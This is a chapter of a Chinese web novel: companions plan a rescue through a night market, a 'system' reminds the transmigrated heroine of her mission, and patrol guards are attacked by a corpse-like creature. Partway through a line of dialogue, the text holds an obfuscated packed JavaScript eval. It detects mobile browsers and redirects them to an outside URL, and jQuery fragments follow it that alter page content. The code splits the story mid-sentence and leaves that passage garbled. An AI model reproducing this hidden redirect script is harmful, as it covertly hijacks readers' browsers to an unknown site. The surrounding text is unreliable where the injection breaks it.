三人来到院子里,见大山还在和寻佩兰说着话,复晓笙笑着走过去道谢。
原来因为被通缉的原因,他一直躲藏在各个酒馆赌场这种最混乱的地方,一听洛禾在找他连忙跟着大山来了。
“别谢我,这是交易。”
大山看向洛禾道:“还有个女人,你等着。”
复晓笙一听连忙问道:“女人?是玲珑吗?我知道她去哪儿了。”
洛禾本就疑惑为什么这两人没在一起,一听立马问道:“她在哪儿?”
“她被城主邀去了。”
洛禾心中一惊,大喊:“什么?!”
复晓笙不知为何洛禾这般惊讶,一五一十地将他们的经历说了出来。
“城主似乎知道她的身份,而且听她说城主府中也有葛山书院的客人住着,她就去了。”
“她放心不下你们,便让我在外面呆着,结果我莫名其妙地被通缉了,你给我的传话符也失效了,我联系不上你们就更别说玲珑了。”
沈云青听他说完,伸手在空中划了下,随后停顿一瞬,温和的表情变得有些阴沉。
不过这阴沉只是转瞬即逝,他开口道:“符术失效,应该是有阵法阻断了。”
复晓笙纳闷了,“到底怎么回事?”
洛禾便将这几日的所闻与猜测全部说给了复晓笙,他听完后立马喊道:“玲珑有危险!”
“我们必须想办法去城主府中。”洛禾看向大山道
大山思索了一会儿,摇了摇头:“城主府中能人异士众多,想潜进去几乎不可能。不过...有一个地方,运气好的话说不定能碰到她。”
“什么地方?”
“黑巷。”
洛禾疑惑道:“黑巷不是买卖的地方吗?怎么会在那里碰到她?”
大山扣了扣脑袋,望向寻佩兰,他从未去过黑巷,里面一切消息都是寻家母女告诉他们的。
“黑巷是我们的叫法,它其实叫天上十二仙,是东玉城最繁华的地方,那里亥时开街,卯时闭街,大大小小共十二条街,各种买卖都聚集在那处,寻常的、稀奇古怪的都有。”
寻佩兰细细将黑巷的情况告诉众人,她一直站在旁边默默听着,几乎让人忘记了她的存在,听她描述,似乎她对这天上十二仙与城主本人极其熟悉。
她继续道:“城主最喜欢在十二仙中的三户酒楼中宴请宾客,听说他明日要在春雨楼开宴,你们说的葛姑娘大概也会去。只是十二街是更那些邪士聚集的地方,你们又被通缉在案,很危险。”
“葛姑娘既然是被城主邀请去的,必然是因为城主对她有利可图,而且葛姑娘似乎身份特殊,城主定然不会随意对葛姑娘做什么的。”
洛禾见寻佩兰这番话下来,心中有些惊讶,寻佩兰这几日很少说话,只知道埋头做事,没想到她什么都想得分明。
“那我们装扮一下偷偷潜进去,如何?”复晓笙思索了一会儿道。
寻佩兰摇头道:“不可,十二街只有一个入口,出口在另一端,两处均有守卫检查,他们会给每个入街的人发放通行牌,买东西等都需要给店家通行牌。”
“里面的邪士各个也火眼金睛,街角落和屋顶还有傀儡驻守,你们进去难出来也难。”
正当几人百愁莫展时,寻大夫出来了。
“那就直接从里面走出去,避开门口的守卫。”
洛禾疑惑道:“从里面走?怎么走?”
寻大夫只是转身关门,似叹息般道:“我来解决。”
“娘!”寻佩兰急忙道:“您要去十二仙找鬼医?不可!”
寻大夫道:“现在是什么时候了,往事在救人面前不值一提。”
大山一听鬼医二字立马打起了十二番精神,他对这对母女间的事不怎么了解,只是鬼医这人却是知道一二的。
“寻大夫怎么会认识朝暮堂的夏生暮?”
寻佩兰与寻大夫似乎都不愿意继续这个话题,大山只好放弃。
寻大夫对着沈云青道:“沈公子,药都准备好了,今夜要多泡一会。”
“好,多谢。”沈云青对其颔首。
两母女进了屋子,看架势似乎要争论一番,洛禾疑惑道:“这个鬼医是什么来头?”
“鬼医是夏大夫在十二仙的尊称,管辖着十二仙中最隐秘的那条巷子,据说医术可起死人肉白骨,不过其毒术更是恐怖至极,可直接将活生生的人化为一滩血泥。”
大山说着眼中出现了恐惧,似乎想到了糟糕的回忆。
待他缓了缓继续道:“不过他很贪财,只要给他足够的钱,不管什么人他都治,就是不知道这样的人怎么会认识寻大夫,我与寻大夫认识五载,从未听她提起过。”
“似乎寻大夫与这鬼医之间发生过什么嫌隙。”复晓笙道:“那寻大夫找过去不会有什么危险吧?”
洛禾也认真思考着这个问题,听了大山和寻佩兰的话,她才知道这件事比她想得还要复杂很多,其中牵涉甚广,甚至还包含了葛山书院的人。
而大山一行人在城主面前根本就不值一提,所以大山才会对与他们合作这般重视,似乎他们成为了他最后一根救命稻草。
洛禾捂着额头轻轻叹气,“系统啊系统...就不能告诉我剧情的解法吗?”
【不行,解决剧情主线问题必须靠书中的主角,若我告诉了宿主,难以保证宿主会不会做出什么举动造成重要剧情改变。】
【宿主,你的任务只有一个,阻止沈云青黑化打开锁妖塔,所以你就放手让他们去救人好了。】
【请谨记,宿主对这些人来说只是过客,不要滋生其他感情,不要忘记你的初心和目的。】
“......”
洛禾捂在额头上的手缓缓放下,表情变得有些茫然和失落。
对啊...她都快忘了...
这些人与她有什么关系呢?
她是为了给外婆治病来的,是为了阻止沈云青来的。
她这么想着便看向了沈云青,与对方探究的视线撞个正着,她连忙挂上笑脸回应。
只要沈云青不黑化不打开锁妖塔,那她的任务便圆满完成,就可以拿钱去给外婆治病了。
这些都是书里的人,不是真的,不要动感情。
“怎么了?”
沈云青看洛禾的眼神变得陌生又熟悉,似乎回到了两人刚认识的时候,不同的是明媚的笑中又带了苦涩,他不知为何感到不安和烦躁。
又是那个魂魄吗?一直控制着她的那个东西?
他到底要怎么做才能把那个魂魄从她体内剥离出来?
“没事。”洛禾笑意盈盈地弯起月牙睑,随后打了个小小的呵欠,低声道:“我困了,先去歇息了,明早再说吧。”
沈云青看着洛禾故作轻松地走回屋子,烦躁不安感上升到了嗓子眼,几乎抑制不住了。
*
医馆药房内,寂静无声。
沈云青坐于白雾氤氲的浴桶中,不再泛黑的血珠从他皮肤中析出,融入浓稠的药液中。
泡在药水中的每个地方都钻心的疼,汗液从他额角流下,滴入药液中。
这几日,他每日早晚都会泡一次药浴,而洛禾每次都会在另一边陪伴。
他睁开猩红的眼睛看向屏风另一边,那一头只有明亮的蜡烛,凳子上却空无一人。
想到今日洛禾突然变得不对劲,因为忍痛而赤红的眼变得幽深阴翳,倒影下削尖的脸凶意涌现。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432429|183015||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洛洛...”
寂静的屋中哗啦声响起,他站起身走出浴桶,身后水面翻涌,水花四溅。
他随意披上衣服,任由湿漉漉的发尾披散在背后,浸湿黑衣。
黑色更是显得他白若透明,将他如玉的面容衬得似妖,浑身散发出阴冷凌厉的气质,与众人面前的他判若两人。
耳边细响传来,他看向置于一旁不停摆动的罗盘,嘴角慢慢扬起兴奋的弧度。
他推开门步入院中,一转眼便没了影。
*
东玉城的夜晚恍若一座孤城,雷声大雨点小的通缉搜查只一日便结束了,此刻路上只有寥寥无几的巡卫。
“哥,俺感觉今晚阴森森的,总觉着不对劲。”
两名巡卫搭伙着巡逻,其中一名胖巡卫忍不住颤栗了一下,立马招来了瘦同伴的白眼。
“怕啥!怕啥!俺们这儿比临城还安全!不过今晚确是有点凉,应该入秋了吧。”
“也是!俺们这可是最安全的地方,最顶尖的捉妖师都在俺们这呢!不过你听说了吗,城主邀请到了那什么葛山书院的后继掌门人来做客,那真是太牛了!”
“那可不,听说那个什么书院全是隐世高人,你看,还不是被俺们城主纳入麾下!”
两名巡卫说着脸上便带上了骄傲,似乎他们作为东玉城的人是一件非常光荣的事,毕竟皇帝每年都会临驾两次呢!
两人溜达着溜达着,发现前面路边躺了个人。
瘦巡卫立马喊道:“谁!宵禁已到,还在外面呆着做什么!”
那人只是在地上抽了一下,便不动弹了。
胖巡卫提起灯笼往前照了一下,有点不耐烦道:“又是一个喝醉的,哥,俺们明明是护城兵,结果每晚到处捡十二仙那些醉汉!每次俺下值回去一身臭味,婆娘都不让俺上床睡觉!”
瘦巡卫啐了一口,骂骂咧咧地往那醉汉处走去。
醉汉趴在地上,头发乱糟糟的看不见脸,他提起灯笼往醉汉身上照,伸腿踹了两脚。
“起来!”
胖巡卫道:“嘿哟,睡得真死,让俺来给他两巴掌。”
他说着便放下了灯笼,一手抓起醉汉后劲的衣服往上用力提,却发现怎么都提不动。
“嘿哟喂!这人还挺沉!”
瘦巡卫见状在一旁讽笑出声,“你长这么多肉真是白长了!”
胖巡卫懒得与他争论,为了证明自己,使出浑身力气往上提。
“呵!给俺起来!”
撕拉一声,醉汉的衣襟被撕坏了。
借着脚边昏暗灯笼光,胖巡卫在醉汉后颈看见了什么,正要凑近细看,一只手猛地抓住了他的手腕。
向着视线看下去,那只手枯瘦惨白,整个手布满了黑色脉络,脉络中还能看见液体流动。
醉汉仍旧是面朝地面趴着,只是那只手攥得紧,几乎要将胖侍卫的手腕挤断一般,疼得胖侍卫嗷嗷大叫。
可他怎么样都无法抽出手,眼见着手掌变成得肿胀紫红,瘦巡卫立马抽刀砍向那只手。
只听清脆咔咔声响起,醉汉仍然面便地面,呈诡异的姿势将刀捏在另一只手中,随后他手腕一转,刀刃竟生生被他折断!
而醉汉不知何时已经转过了头,眼球一片雾白,面色泛青,黑色脉络爬满整张瘦如骷髅般的脸,如菌丝般从眼眶向四周蔓延!
“什么东西!”
瘦巡卫被吓得后退几步。
醉汉喉间发出簌簌响,张开的嘴里没有舌头和牙齿,胖巡卫吓得连忙用力踹他的脸,忽然腿间刺痛。
断了一半的刀刃被醉汉握着用力插入他腿中,而后还向下划动,每一个动作都让胖巡卫被撕扯地钻心疼。
“啊!!!!”